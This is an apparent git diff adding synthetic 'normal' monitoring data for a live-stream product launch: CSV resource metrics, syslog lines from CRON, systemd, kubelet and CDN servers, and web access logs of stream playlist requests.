HTTP/1.1 200 +Aug 22 10:07:16 cdn-edge[7890]: 192.168.45.99 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:07:16 cdn-edge[7890]: 192.168.86.181 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:17 cdn-edge[7890]: 192.168.168.105 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:07:17 cdn-edge[7890]: 192.168.58.240 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:18 cdn-edge[7890]: 192.168.189.144 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:07:18 cdn-edge[7890]: 192.168.229.253 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:18 cdn-edge[7890]: 192.168.247.250 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:19 cdn-edge[7890]: 192.168.205.217 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:19 cdn-edge[7890]: 192.168.24.214 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:20 cdn-edge[7890]: 192.168.15.169 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:07:21 cdn-edge[7890]: 192.168.66.159 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:22 cdn-edge[7890]: 192.168.111.96 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:22 cdn-edge[7890]: 192.168.251.71 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:24 cdn-edge[7890]: 192.168.34.204 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:07:26 cdn-edge[7890]: 192.168.93.139 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:27 cdn-edge[7890]: 192.168.79.180 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:28 cdn-edge[7890]: 192.168.18.63 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:29 cdn-edge[7890]: 192.168.173.216 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:29 cdn-edge[7890]: 192.168.208.172 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:07:29 cdn-edge[7890]: 192.168.73.166 GET /live/stream.m3u8 HTTP/1.1 206 diff --git a/norm_dataset/scenario_7/norm_7_15.csv b/norm_dataset/scenario_7/norm_7_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..9bb290bd74e80e06bb32fc22e859f3cdd479506d --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,concurrent_connections +2025-08-21T10:00:00Z,16.226472774913393,40.99058776287683,25.63178177941427,2.3125265909241577,1.8093791143980213,474 +2025-08-21T10:00:05Z,16.551173145484995,43.93280992906367,25.91485102728425,2.11778343055951,1.3208448489229223,496 +2025-08-21T10:00:10Z,17.025092083567724,45.36354593564565,29.37380524719488,1.183378703139797,2.9791207047574817,477 +2025-08-21T10:00:15Z,19.152293283848735,43.215773004828314,31.671511413261705,1.384999025688747,2.5113429170618424,529 +2025-08-21T10:00:20Z,15.266373208315308,46.86113697514328,30.29261229183759,1.6806700606032587,2.200745791816727,552 +2025-08-21T10:00:25Z,15.335887941401722,51.23536404205751,18.48076798313167,1.7813059928469206,2.535307498464078,443 +2025-08-21T10:00:30Z,14.363167301909362,43.318408313170465,26.209037421991862,1.3001592423547474,2.0766355551102413,467 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+2025-08-21T10:07:15Z,79.305971057753,50.31344786347156,27.24085603918677,58.325089074343154,356.25978141368023,50555 +2025-08-21T10:07:20Z,79.42216012873955,52.22495642093355,26.58571520083395,53.50271155818702,359.17054309652104,52115 +2025-08-21T10:07:25Z,77.97443506950084,53.89224586501141,32.69215157613273,50.45361661737075,352.2691779256621,50717 diff --git a/norm_dataset/scenario_7/norm_7_15.log b/norm_dataset/scenario_7/norm_7_15.log new file mode 100644 index 0000000000000000000000000000000000000000..dc83fac4430e92494c5943a29c7002cd87c97f68 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_15.log @@ -0,0 +1,111 @@ +Aug 21 10:00:00 web-app[1234]: GET /api/v1/status status=200 OK +Aug 21 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 21 10:00:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 10:00:30 web-app[1234]: GET /api/v1/status status=200 OK +Aug 21 10:00:50 systemd[1]: Starting daily clean up activities... +Aug 21 10:01:00 web-app[1234]: GET /api/v1/status status=200 OK +Aug 21 10:01:05 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 10:01:30 web-app[1234]: GET /api/v1/status status=200 OK +Aug 21 10:01:40 systemd[1]: Starting daily clean up activities... +Aug 21 10:02:00 web-app[1234]: GET /api/v1/status status=200 OK +Aug 21 10:02:10 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 10:02:30 web-app[1234]: INFO: Live stream 'product-launch-2025' has started. +Aug 21 10:02:30 web-app[1234]: INFO: Current viewers: 52419. +Aug 21 10:02:30 cdn-edge[4567]: GET /live/stream.m3u8 status=200 +Aug 21 10:02:30 cdn-edge[4567]: GET /live/stream.m3u8 status=200 +Aug 21 10:02:30 cdn-edge[4567]: GET /live/stream.m3u8 status=200 +Aug 21 10:02:30 cdn-edge[4567]: GET /live/stream.m3u8 status=200 +Aug 21 10:02:30 cdn-edge[4567]: GET /live/stream.m3u8 status=200 +Aug 21 10:02:40 cdn-edge[4567]: GET /live/stream_segment_32.ts status=206 Partial Content +Aug 21 10:02:40 cdn-edge[4568]: GET /live/stream_segment_31.ts status=206 Partial Content +Aug 21 10:02:40 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:02:50 cdn-edge[4567]: GET /live/stream_segment_34.ts status=206 Partial Content +Aug 21 10:02:50 cdn-edge[4568]: GET /live/stream_segment_33.ts status=206 Partial Content +Aug 21 10:02:50 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:03:00 cdn-edge[4567]: GET /live/stream_segment_36.ts status=206 Partial Content +Aug 21 10:03:00 cdn-edge[4568]: GET /live/stream_segment_35.ts status=206 Partial Content +Aug 21 10:03:00 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:03:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 21 10:03:10 cdn-edge[4567]: GET /live/stream_segment_38.ts status=206 Partial Content +Aug 21 10:03:10 cdn-edge[4568]: GET /live/stream_segment_37.ts status=206 Partial Content +Aug 21 10:03:10 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:03:20 cdn-edge[4567]: GET /live/stream_segment_40.ts status=206 Partial Content +Aug 21 10:03:20 cdn-edge[4568]: GET /live/stream_segment_39.ts status=206 Partial Content +Aug 21 10:03:20 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:03:30 cdn-edge[4567]: GET /live/stream_segment_42.ts status=206 Partial Content +Aug 21 10:03:30 cdn-edge[4568]: GET /live/stream_segment_41.ts status=206 Partial Content +Aug 21 10:03:30 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:03:40 cdn-edge[4567]: GET /live/stream_segment_44.ts status=206 Partial Content +Aug 21 10:03:40 cdn-edge[4568]: GET /live/stream_segment_43.ts status=206 Partial Content +Aug 21 10:03:40 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:03:45 web-app[1234]: INFO: Current viewers: 50782. +Aug 21 10:03:50 cdn-edge[4567]: GET /live/stream_segment_46.ts status=206 Partial Content +Aug 21 10:03:50 cdn-edge[4568]: GET /live/stream_segment_45.ts status=206 Partial Content +Aug 21 10:03:50 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:04:00 cdn-edge[4567]: GET /live/stream_segment_48.ts status=206 Partial Content +Aug 21 10:04:00 cdn-edge[4568]: GET /live/stream_segment_47.ts status=206 Partial Content +Aug 21 10:04:00 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:04:10 cdn-edge[4567]: GET /live/stream_segment_50.ts status=206 Partial Content +Aug 21 10:04:10 cdn-edge[4568]: GET /live/stream_segment_49.ts status=206 Partial Content +Aug 21 10:04:10 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:04:20 cdn-edge[4567]: GET /live/stream_segment_52.ts status=206 Partial Content +Aug 21 10:04:20 cdn-edge[4568]: GET /live/stream_segment_51.ts status=206 Partial Content +Aug 21 10:04:20 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:04:30 cdn-edge[4567]: GET /live/stream_segment_54.ts status=206 Partial Content +Aug 21 10:04:30 cdn-edge[4568]: GET /live/stream_segment_53.ts status=206 Partial Content +Aug 21 10:04:30 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:04:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 21 10:04:40 cdn-edge[4567]: GET /live/stream_segment_56.ts status=206 Partial Content +Aug 21 10:04:40 cdn-edge[4568]: GET /live/stream_segment_55.ts status=206 Partial Content +Aug 21 10:04:40 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:04:50 cdn-edge[4567]: GET /live/stream_segment_58.ts status=206 Partial Content +Aug 21 10:04:50 cdn-edge[4568]: GET /live/stream_segment_57.ts status=206 Partial Content +Aug 21 10:04:50 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:05:00 cdn-edge[4567]: GET /live/stream_segment_60.ts status=206 Partial Content +Aug 21 10:05:00 cdn-edge[4568]: GET /live/stream_segment_59.ts status=206 Partial Content +Aug 21 10:05:00 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:05:00 web-app[1234]: INFO: Current viewers: 49535. +Aug 21 10:05:10 cdn-edge[4567]: GET /live/stream_segment_62.ts status=206 Partial Content +Aug 21 10:05:10 cdn-edge[4568]: GET /live/stream_segment_61.ts status=206 Partial Content +Aug 21 10:05:10 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:05:20 cdn-edge[4567]: GET /live/stream_segment_64.ts status=206 Partial Content +Aug 21 10:05:20 cdn-edge[4568]: GET /live/stream_segment_63.ts status=206 Partial Content +Aug 21 10:05:20 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:05:30 cdn-edge[4567]: GET /live/stream_segment_66.ts status=206 Partial Content +Aug 21 10:05:30 cdn-edge[4568]: GET /live/stream_segment_65.ts status=206 Partial Content +Aug 21 10:05:30 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:05:40 cdn-edge[4567]: GET /live/stream_segment_68.ts status=206 Partial Content +Aug 21 10:05:40 cdn-edge[4568]: GET /live/stream_segment_67.ts status=206 Partial Content +Aug 21 10:05:40 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:05:50 cdn-edge[4567]: GET /live/stream_segment_70.ts status=206 Partial Content +Aug 21 10:05:50 cdn-edge[4568]: GET /live/stream_segment_69.ts status=206 Partial Content +Aug 21 10:05:50 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:06:00 cdn-edge[4567]: GET /live/stream_segment_72.ts status=206 Partial Content +Aug 21 10:06:00 cdn-edge[4568]: GET /live/stream_segment_71.ts status=206 Partial Content +Aug 21 10:06:00 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:06:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 21 10:06:10 cdn-edge[4567]: GET /live/stream_segment_74.ts status=206 Partial Content +Aug 21 10:06:10 cdn-edge[4568]: GET /live/stream_segment_73.ts status=206 Partial Content +Aug 21 10:06:10 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:06:15 web-app[1234]: INFO: Current viewers: 51695. +Aug 21 10:06:20 cdn-edge[4567]: GET /live/stream_segment_76.ts status=206 Partial Content +Aug 21 10:06:20 cdn-edge[4568]: GET /live/stream_segment_75.ts status=206 Partial Content +Aug 21 10:06:20 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:06:30 cdn-edge[4567]: GET /live/stream_segment_78.ts status=206 Partial Content +Aug 21 10:06:30 cdn-edge[4568]: GET /live/stream_segment_77.ts status=206 Partial Content +Aug 21 10:06:30 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:06:40 cdn-edge[4567]: GET /live/stream_segment_80.ts status=206 Partial Content +Aug 21 10:06:40 cdn-edge[4568]: GET /live/stream_segment_79.ts status=206 Partial Content +Aug 21 10:06:40 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:06:50 cdn-edge[4567]: GET /live/stream_segment_82.ts status=206 Partial Content +Aug 21 10:06:50 cdn-edge[4568]: GET /live/stream_segment_81.ts status=206 Partial Content +Aug 21 10:06:50 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:07:00 cdn-edge[4567]: GET /live/stream_segment_84.ts status=206 Partial Content +Aug 21 10:07:00 cdn-edge[4568]: GET /live/stream_segment_83.ts status=206 Partial Content +Aug 21 10:07:00 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:07:10 cdn-edge[4567]: GET /live/stream_segment_86.ts status=206 Partial Content +Aug 21 10:07:10 cdn-edge[4568]: GET /live/stream_segment_85.ts status=206 Partial Content +Aug 21 10:07:10 cdn-edge[4569]: GET /live/stream.m3u8 status=200 +Aug 21 10:07:20 cdn-edge[4567]: GET /live/stream_segment_88.ts status=206 Partial Content +Aug 21 10:07:20 cdn-edge[4568]: GET /live/stream_segment_87.ts status=206 Partial Content +Aug 21 10:07:20 cdn-edge[4569]: GET /live/stream.m3u8 status=200 diff --git a/norm_dataset/scenario_7/norm_7_16.csv b/norm_dataset/scenario_7/norm_7_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..eb9bf473e574d7b4906eee20f1ce4bfbefb77b6c --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,14.67,35.9,22.77,6.89,26.34 +2025-07-15T10:00:05Z,10.12,40.48,22.92,5.24,24.82 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HTTP/1.1" 206 6798 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.100.159 - - [15/Jul/2025:10:03:50 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 9864 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.100.160 - - [15/Jul/2025:10:06:35 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 12492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.100.167 - - [15/Jul/2025:10:05:25 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 8414 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.100.187 - - [15/Jul/2025:10:07:25 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 7921 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.100.230 - - [15/Jul/2025:10:06:05 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 6973 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.100.245 - - [15/Jul/2025:10:03:30 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 13315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.100.32 - - [15/Jul/2025:10:04:20 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 6028 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.100.40 - - [15/Jul/2025:10:05:00 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 11723 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.100.87 - - [15/Jul/2025:10:05:10 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 13041 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.101.147 - - [15/Jul/2025:10:03:40 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 6753 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.101.149 - - [15/Jul/2025:10:03:15 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 11860 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.101.157 - - [15/Jul/2025:10:05:40 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 9960 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.101.165 - - [15/Jul/2025:10:04:35 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 12558 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.101.167 - - [15/Jul/2025:10:06:45 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 13749 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.101.170 - - [15/Jul/2025:10:04:35 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 7348 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.101.231 - - [15/Jul/2025:10:04:55 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 11927 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.101.251 - - [15/Jul/2025:10:05:10 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 9672 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.101.70 - - [15/Jul/2025:10:05:25 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 5278 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.101.73 - - [15/Jul/2025:10:03:35 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 11372 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.102.105 - - [15/Jul/2025:10:05:10 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 14951 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.102.222 - - [15/Jul/2025:10:05:40 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 14999 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.102.54 - - [15/Jul/2025:10:06:50 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 6149 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.102.68 - - [15/Jul/2025:10:06:00 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 7600 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.102.85 - - [15/Jul/2025:10:07:25 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 8023 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.103.109 - - [15/Jul/2025:10:04:25 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 6427 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.103.141 - - [15/Jul/2025:10:05:25 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 14997 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.103.179 - - [15/Jul/2025:10:03:55 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 6146 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.103.193 - - [15/Jul/2025:10:03:30 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 6336 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.103.213 - - [15/Jul/2025:10:05:05 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 11904 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.103.220 - - [15/Jul/2025:10:02:30 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 8398 "-" "Mozilla/5.0 (Windows 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/live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 11305 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.104.26 - - [15/Jul/2025:10:02:35 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 10915 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.104.76 - - [15/Jul/2025:10:06:15 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 14813 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.105.15 - - [15/Jul/2025:10:07:25 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 13731 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.105.181 - - [15/Jul/2025:10:07:20 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 7288 "-" "Mozilla/5.0 (Windows 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/live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 5525 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.110.184 - - [15/Jul/2025:10:03:10 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 6427 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.110.224 - - [15/Jul/2025:10:05:35 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 7413 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.110.224 - - [15/Jul/2025:10:06:45 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 11766 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.110.31 - - [15/Jul/2025:10:06:55 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 8893 "-" "Mozilla/5.0 (Windows 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"GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 7337 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.132.35 - - [15/Jul/2025:10:05:30 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 6762 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.132.53 - - [15/Jul/2025:10:05:50 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 11202 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.132.7 - - [15/Jul/2025:10:02:50 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 11105 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.132.82 - - [15/Jul/2025:10:04:40 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 8748 "-" "Mozilla/5.0 (Windows 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/live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 9851 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.135.130 - - [15/Jul/2025:10:04:20 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 10970 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.135.158 - - [15/Jul/2025:10:06:55 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 6393 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.135.196 - - [15/Jul/2025:10:04:45 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 14817 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.135.200 - - [15/Jul/2025:10:05:55 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 11446 "-" "Mozilla/5.0 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/live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 9373 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.136.7 - - [15/Jul/2025:10:07:25 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 12239 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.136.71 - - [15/Jul/2025:10:03:00 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 13899 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.137.108 - - [15/Jul/2025:10:07:20 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 6075 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.137.133 - - [15/Jul/2025:10:06:50 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 8877 "-" "Mozilla/5.0 (Windows NT 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(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.145.106 - - [15/Jul/2025:10:06:35 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 5948 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 